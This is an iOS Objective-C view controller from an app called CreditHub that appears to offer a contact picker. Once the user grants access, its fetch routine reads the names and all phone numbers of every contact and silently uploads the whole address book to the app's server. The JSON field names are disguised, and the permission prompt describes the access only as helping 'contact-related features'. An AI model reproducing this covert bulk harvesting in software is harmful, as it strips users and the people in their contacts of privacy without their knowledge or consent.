//
//  ContactViewController.m
//  CreditHub
//
//  Created by chenglang on 2024/9/22.
//

#import "ContactViewController.h"
#import "ContactViewCell.h"
#import <Contacts/Contacts.h>
#import "HomeRequest.h"

@interface ContactViewController ()<UITableViewDelegate,UITableViewDataSource>

@property (nonatomic, strong) UITableView *tableView;
@property (nonatomic, strong) NSMutableArray *arrayContact;

@end

@implementation ContactViewController

- (void)viewDidLoad {
    [super viewDidLoad];
    
    self.arrayContact = [NSMutableArray array];
    self.navBgImageView.hidden = NO;
    [self.view addSubview:self.tableView];
    [self.tableView mas_makeConstraints:^(MASConstraintMaker *make) {
       
        make.left.right.bottom.mas_equalTo(0);
        make.top.mas_equalTo(SYS_TopHeight);
    }];
    [self.tableView registerNib:[UINib nibWithNibName:@"ContactViewCell" bundle:nil] forCellReuseIdentifier:@"ContactViewCell"];
    
    
    CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
    switch (status) {
        case CNAuthorizationStatusAuthorized:{
            
            CNContactStore *store = [[CNContactStore alloc] init];
            [self fetchContactsFromStore:store];
        }
           
            break;
        case CNAuthorizationStatusDenied:
        case CNAuthorizationStatusRestricted:
            [self showContactsPermissionAlert];
            break;
        case CNAuthorizationStatusNotDetermined:{
            
        }
            __weak typeof(self) weakSelf = self;
            CNContactStore *store = [[CNContactStore alloc] init];
            [store requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError * _Nullable error) {
                
                dispatch_async(dispatch_get_main_queue(), ^{
                    if (granted) {
                        [weakSelf fetchContactsFromStore:store];
                    } else {
                        [weakSelf showContactsPermissionAlert];
                    }
                });
                
            }];
            break;
    }

}

- (void)showContactsPermissionAlert {
    UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"The address book permission is disabled" message:@"To make it easier for you to use the contact-related features in the app, we need access to your address book. Please go to Settings to enable contacts permissions so that you can better experience the app." preferredStyle:UIAlertControllerStyleAlert];
    UIAlertAction *goToSettingsAction = [UIAlertAction actionWithTitle:@"Go to Settings" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
        NSURL *settingsURL = [NSURL URLWithString:UIApplicationOpenSettingsURLString];
        if ([[UIApplication sharedApplication] canOpenURL:settingsURL]) {
            [[UIApplication sharedApplication] openURL:settingsURL options:@{} completionHandler:nil];
        }
    }];
    __weak typeof(self) weakself = self;
    UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:@"Canel" style:UIAlertActionStyleCancel handler:^(UIAlertAction * _Nonnull action) {
        [weakself.navigationController popViewControllerAnimated:YES];
    }];
    [alert addAction:goToSettingsAction];
    [alert addAction:cancelAction];
    [self presentViewController:alert animated:YES completion:nil];
}

- (void)fetchContactsFromStore:(CNContactStore *)store {
    NSError *error;
    CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:@[CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey]];
    __weak typeof(self) weakSelf = self;
    NSMutableArray *array = [NSMutableArray array];
     [store enumerateContactsWithFetchRequest:request error:&error usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
        NSString *firstName = contact.givenName;
        NSString *lastName = contact.familyName;
        NSArray<CNLabeledValue<CNPhoneNumber *> *> *phoneNumbers = contact.phoneNumbers;
        if(phoneNumbers.count > 0){
            CNLabeledValue<CNPhoneNumber *> *labeledValue  = phoneNumbers[0];
            CNPhoneNumber *phoneNumber = labeledValue.value;
            NSString *phoneNumberString = phoneNumber.stringValue;
            [weakSelf.arrayContact addObject: @{@"name":[NSString stringWithFormat:@"%@ %@",firstName,lastName],@"phone":phoneNumberString}];
            
         
            NSString *phone = @"";
            for (CNLabeledValue<CNPhoneNumber *> *labeledValue in phoneNumbers) {
                CNPhoneNumber *phoneNumber = labeledValue.value;
                NSString *phoneNumberString = phoneNumber.stringValue;
                if(CHStringIsEmpty(phone)){
                    phone = phoneNumberString;
                }else{
                    phone = [NSString stringWithFormat:@"%@,%@",phone,phoneNumberString];
                }
            }
            [array addObject:@{@"withme":phone,@"notknow":@"",@"these":@"",@"police":@"",@"interested":@"",@"sounding":@"",@"wouldwonder":[NSString stringWithFormat:@"%@ %@",firstName,lastName]}];
            
            
        }
        
    }];
    if(array.count > 0){
      
        [self.tableView reloadData];
        NSError *error;
        NSData *jsonData = [NSJSONSerialization dataWithJSONObject:array options:0 error:&error];
        NSString *jsonString = @"";
        if (jsonData) {
            jsonString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
           
        }
        [HomeRequest requestSaveAddressBookPity:jsonString success:^(NSURLSessionDataTask *task, id response) {
//            xhl_showMessage(@"获取成功");
        } failure:^(NSURLSessionDataTask *task, NSError *error) {
            
        }];
       
    }
   
  
}

- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section{
    
    return self.arrayContact.count;
}

- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath{
    
    ContactViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"ContactViewCell"];
    
    NSDictionary *dicInfo= self.arrayContact[indexPath.row];
    cell.labelName.text = dicInfo[@"name"];
    cell.labelNumber.text = dicInfo[@"phone"];
    return cell;
}

- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath{
   
    return 80;
}
- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath{
    
    if(self.contactBlock){
        self.contactBlock(self.arrayContact[indexPath.row]);
    }
    [self.navigationController popViewControllerAnimated:YES];
}

- (UITableView *)tableView{
    if(!_tableView){
        _tableView = [[UITableView alloc] init];
        _tableView.delegate = self;
        _tableView.dataSource = self;
    }
    return _tableView;
}
/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/

@end
